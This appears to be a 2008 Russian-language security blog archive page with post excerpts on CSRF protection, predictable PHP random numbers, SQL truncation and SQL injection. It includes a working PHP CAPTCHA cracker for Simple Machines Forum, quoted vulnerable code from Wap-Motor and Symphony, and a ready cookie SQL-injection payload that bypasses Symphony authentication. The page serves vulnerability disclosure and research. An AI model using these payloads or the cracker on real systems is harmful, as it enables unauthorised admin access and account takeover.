Year: 2008

  • Защита от CSRF

    csrfCSRF является одной из самых распространенных уязвимостей в современных веб-приложениях. Это связано с недооценкой разработчиками степени угрозы CSRF-атак, что выражается в недостаточных мерах защиты против CSRF или вообще в полном их отсутствии. На самом деле, эффективно обезопасить свое веб-приложение от CSRF совсем не сложно: уже достаточно давно практикуется универсальный способ, о котором я хотел бы рассказать в этом посте. Кроме того, будут затронуты уже готовые реализации этого приема: CSRFx и csrf-magic.

    (more…)

  • SQL Column Truncation в WordPress

    Вот и появился первый эксплоит для уязвимости SQL Column Truncation, о чем не так давно писал Стефан Эссер, специалист, обнаруживший данную уязвимость. Причем дыра найдена не в каком-нибудь малоизвестном движке, а в WordPress! Тем не менее повода для паники нет, так как уязвимость некритична: все что удастся нападающему – это сменить пароль администратору, но узнать его не получится. Кроме того, на атакуемом блоге должна быть включена опция регистрации пользователей.

    PoC: http://milw0rm.com/exploits/6397

    Также читайте мою статью, посвященную SQL Column Truncation.

  • Уязвимости в Simple Machines Forum <= 1.1.5

    Обнаружил уязвимость в Simple Machines Forum <= 1.1.5, связанную с предсказуемостью кода подтверждения для смены пароля, а также CAPTCHA в модуле регистрации. Оба механизма используют в своем алгоритме функцию rand(), о недостатках которой я писал в прошлой статье.

    Сброс пароля администратора

    SMF выявляет случайное число, сгенерированное с помощью rand(), в виде md5-хэша в самой форме восстановления пароля (hidden параметр sc):

    <?php
    $_SESSION['rand_code'] = md5(session_id() . rand());
    $sc = $_SESSION['rand_code'];
    ?>

    Активационный ключ генерируется следующим образом:

    <?php
    $password = substr(preg_replace('/\W/', '', md5(rand())), 0, 10);
    ?>

    Так как максимальное значение случайного числа на win32 является 32767 и идентификатор сессии известен, то перебором md5-хэша можно получить случайное число. В win32 любое число, сгенерированное с помощью rand(), становится сидом для следующего числа, таким образом можно предугадать все последующие числа и вычислить активационный ключ.

    http://milw0rm.com/exploits/6392

    Вычисление кода CAPTCHA

    SMF выявляет случайное число в модуле регистрации (ссылки на изображения с кодом CAPTCHA):

    <?php
    $context['verificiation_image_href'] = $scripturl . '?action=verificationcode;rand=' . md5(rand());
    ?>

    Сам код CAPTCHA генерируется следующим образом:

    <?php
    $character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z'));
    // Generate a new code.
    $_SESSION['visual_verification_code'] = '';
    for ($i = 0; $i < 5; $i++)
    $_SESSION['visual_verification_code'] .= $character_range[array_rand($character_range)];
    ?>

    Функция array_rand() использует внутренний вызов rand(), поэтому определив перебором предыдущее случайное число в ссылках, можно вычислить сам код (опять-таки актуально только для win32).

    <?php
    
    /**
     * Simple Machines Forum <= 1.1.5 CAPTCHA cracker (win32)
     * by Raz0r (http://Raz0r.name/)
     */
    
    $url = "http://localhost/smf/";
    
    $html = file_get_contents("{$url}index.php?action=register");
    $out=array();
    preg_match("@rand=([0-9a-f]+)@i",$html,$out);
    if(isset($out[1])){
    	$rand = bfmd5($out[1]);
    	srand($rand);
    	$character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z'));
    	for ($i = 0; $i < 5; $i++) {
    		echo $character_range[array_rand($character_range)];
    	}
    }
    
    function bfmd5($md5) {
    	for($i=0;$i<=32767;$i++){
    		if($md5 == md5($i)) {
    			return $i;
    		}
    	}
    	return false;
    }
    ?>
  • Магия случайных чисел (часть 2)

    Этот пост является продолжением прошлой статьи, в которой шла речь о проблемах генераторов случайных чисел в PHP с примером эксплоита для WordPress через уязвимость в phpBB2. В этот раз рассмотрим интересную особенность случайных чисел, сгенерированных с помощью функции rand(), а также способы защиты от подобного рода атак в своих веб-приложениях.

    (more…)

  • Предсказываем случайные числа в PHP

    Стефан Эссер не перестает меня удивлять: в этот раз в своем блоге он рассказал об особенностях генерации случайных чисел в PHP, которые при особых условиях позволяют предугадывать случайные значения. Его находки открывают возможность для реализации совершенно новых атак – Cross Application Attacks, в основе которых лежит неправильное использование веб-приложениями функций для генерации случайных чисел. При этом одно веб-приложение, не имея полноценных уязвимостей, но обладающее погрешностью в вычислении случайных чисел, открывает дверь для реализации атаки на совершенно другое веб-приложение, находящееся на том же сервере. В качестве примера Стефан описал алгоритм проведения атаки на WordPress через дыру в phpBB2. Так как подтверждение его концепции в виде эксплоита отсутствует, я решил провести собственное исследование и написать рабочий PoC. После нескольких дней тестирования на локальном веб-сервере, я пришел к выводу, что уязвимость действительно имеет место, и ее эксплуатация вполне реальна. В результате мной был написан эксплоит для WordPress <= 2.6.1 посредством phpBB2, позволяющий сменить пароль администратора, не имея доступа к его почтовому ящику.

    (more…)

  • К чему может привести усечение данных в SQL

    Совсем недавно известный эксперт по безопасности Стефан Эссер (Stefan Esser) опубликовал в своем блоге статью, посвященную новой уязвимости, связанной с особенностями сравнения строк и автоматического усечения данных в MySQL. Именно Стефан обнаружил знаменитую дыру zend_hash_del_key_or_index, после чего в Сети появилось множество эксплоитов для популярных веб-приложений. Похоже в этот раз дело грозит обернуться теми же последствиями.

    (more…)

  • Еще раз о правильной фильтрации

    Я уже не раз излагал свои мысли по поводу принципов грамотной фильтрации входящих данных, этот пост будет своеобразным дополнением, подкрепленным живым примером.

    Недавно столкнулся с интересной SQL-инъекцией на одном популярном ресурсе, посвященному взлому и хакингу. С одной стороны, признаки успешно внедренного SQL-кода были явными, однако поведение уязвимого веб-приложения при особых запросах говорило о наличии некой фильтрации на определенные ключевые слова. Например запрос ‘ OR 1=1/* успешно проходил, но, подставив AND вместо OR, я постоянно получал пустую страницу – это, очевидно, следствие возникшей ошибки синтаксиса SQL-запроса. Проанализировав ответы скрипта, я убедился, что, во-первых, проверка на ключевые слова действительно имела место, и, во-вторых, производилась не просто проверка, а вырезание из строки запроса всех совпадений со списком ключевых слов. На PHP это выглядело бы примерно так:

    <?php
    $badwords = array("AND","UNION","SELECT","WHERE","INSERT","UPDATE","DELETE");
    str_replace($badwords,"",$GET['id']);
    ?>

    Обойти такую проверку сущий пустяк.

    (more…)

  • Хранимые процедуры – панацея от SQL-инъекций?

    У многих разработчиков сложилось мнение, что хранимые процедуры могут спасти от любой SQL-инъекции. Напомню, что хранимые процедуры (stored procedures, SP), это функции, написанные на языке SQL, с помощью которых выполнются заранее подготовленные запросы к базе данных. Хранимая процедура, как и функция в любом другом языке программирования, имеет входные и возвращаемые данные, позволяет оперировать переменными и, самое главное, облегчает жизнь разработчику, избавляя его от однотипных рутинных работ. Немаловажным является тот факт, что хранимые процедуры позволяют динамически составлять запросы, при этом входящие в хранимую процедуру данные поступают как параметры, обладающие определенным типом и длиной, что исключает возможность SQL-инъекций. Тем не менее внедрить SQL-код можно! Рассмотрим, при каких обстоятельствах возможны SQL-инъекции в хранимых процедурах на примере MySQL.

    (more…)

  • LFI/RFI-уязвимости в Wap-Motor 17.5

    Сайт разработчика: http://visavi.net/
    Уязвимые версии: Wap-Motor 17.5, возможно более ранние версии

    Описание: сценарий index.php подключает необходимые скрипты, первый из которых (template/start.php) извлекает данные в текущую символьную таблицу, допуская перезапись переменных:

    <?php
    extract($HTTP_GET_VARS);
    extract($HTTP_POST_VARS);
    extract($HTTP_COOKIE_VARS);
    extract($HTTP_SERVER_VARS);
    extract($HTTP_SESSION_VARS);
    ?>

    На основе переменных $p и $f составляется строка, которая впоследствии передается в функцию include (index.php@48-56):

    <?php
    if(empty($f)){$f='index';}
    echo $p.'/'.$f.'.'.$config_ras;
    $sfx = file($p.'/'.$f.'.'.$config_ras);
    if (!$sfx){
    	echo 'Файл с данными параметрами не найден!';
    }else{
    	include_once $p.'/'.$f.'.'.$config_ras;
    }
    ?>

    Система предполагает получение переменных $p и $f со стороны пользователя, однако проверка данных проводится только в массиве $_GET (index.php@23):

    <?php
    if(eregi("[^a-z0-9_-]",$_GET['f']) || eregi("[^a-z0-9_-]",$_GET['p'])){header ("Location: index.php?error&".SID); exit;}
    ?>

    При передаче параметров p и f в cookie или в POST-запросе существует возможность обхода фильтрации и внедрения произвольных данных в функцию include. (more…)

  • Обход авторизации в Symphony 2 Beta

    Сайт разработчика: http://21degrees.com.au/
    Уязвимые версии: Symphony 2 Beta до revision 5
    Уязвимый код в /symphony/lib/core/class.symphony.php@126-142:

    <?php
    public function isLoggedIn(){
      $un = $this->Cookie->get('username');
      $pw = $this->Cookie->get('pass');
      $id = $this->Database->fetchVar('id', 0, "SELECT `id` FROM `tbl_authors`
        WHERE `username` = '$un' AND `password` = '$pw' LIMIT 1");
      if($id){
        /* [...] */
      }
    /* [...] */
    }
    ?>

    Описание: данные в переменных $un (username) и $pw (password) не проверяются должным образом перед извлечением из массива $_COOKIE, что ведет к SQL-инъекции, позволяющей обойти авторизацию пользователей и получить права администратора. Для удачного осуществления атаки magic_quotes_gpc=off не требуется, так как система убирает все дополнительные слэши сама.
    Эксплоит: sym-[username]=%27+OR+1%3D1%2F%2A (необходимо передать в cookie)